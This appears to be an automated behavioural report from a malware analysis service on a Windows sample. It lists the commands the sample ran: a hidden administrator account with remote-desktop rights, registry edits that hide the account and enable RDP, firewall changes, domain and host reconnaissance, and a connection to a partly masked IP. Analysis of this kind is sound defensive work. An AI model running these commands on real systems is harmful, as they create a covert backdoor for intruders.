Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\netsh.exe' firewall set service remoteadmin enable
- '<SYSTEM32>\netsh.exe' firewall set service remotedesktop enable
Modifies file system
Creates the following files
- %TEMP%\dfhjdsjhfdsfhds.txt
Deletes itself.
Network activity
Connects to
- '17#.#05.247.78':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C tasklist > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net user adm443 pusd117!!!! /ADD > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1 & net localgroup administrators adm443 /add >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>>&1 & net localgroup "Remote Desktop User...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net session > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1 & net share >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>>&1 & quser >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>>&1 & arp -a >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic logicaldisk > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic qfe > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net user > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C tasklist > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1
- '<SYSTEM32>\net.exe' localgroup
- '<SYSTEM32>\net1.exe' localgroup
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\net.exe' config workstation
- '<SYSTEM32>\net1.exe' config workstation
- '<SYSTEM32>\net.exe' view /all
- '<SYSTEM32>\net.exe' view /all /domain
- '<SYSTEM32>\nltest.exe' /domain_trusts
- '<SYSTEM32>\nltest.exe' /domain_trusts /all_trusts
- '<SYSTEM32>\net.exe' group "Domain Admins" /domain
- '<SYSTEM32>\net1.exe' group "Domain Admins" /domain
- '<SYSTEM32>\netstat.exe' -a
- '<SYSTEM32>\cmd.exe' /C wmic logicaldisk > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1
- '<SYSTEM32>\wbem\wmic.exe' logicaldisk
- '<SYSTEM32>\cmd.exe' /C wmic qfe > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1
- '<SYSTEM32>\wbem\wmic.exe' qfe
- '<SYSTEM32>\cmd.exe' /C net user > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1
- '<SYSTEM32>\net.exe' use
- '<SYSTEM32>\net.exe' user
- '<SYSTEM32>\arp.exe' -a
- '<SYSTEM32>\net1.exe' share
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /C net user adm443 pusd117!!!! /ADD > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1 & net localgroup administrators adm443 /add >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>>&1 & net localgroup "Remote Desktop User...
- '<SYSTEM32>\net.exe' user adm443 pusd117!!!! /ADD
- '<SYSTEM32>\net1.exe' user adm443 pusd117!!!! /ADD
- '<SYSTEM32>\net.exe' localgroup administrators adm443 /add
- '<SYSTEM32>\net1.exe' localgroup administrators adm443 /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" adm443 /add
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" adm443 /add
- '<SYSTEM32>\net.exe' accounts /maxpwage:unlimited
- '<SYSTEM32>\net1.exe' accounts /maxpwage:unlimited
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v adm443 /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /C net session > "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>&1 & net share >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>>&1 & quser >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2>>&1 & arp -a >> "%TEMP%\\dfhjdsjhfdsfhds.txt" 2...
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\net.exe' share
- '<SYSTEM32>\quser.exe'
- '<SYSTEM32>\net1.exe' user
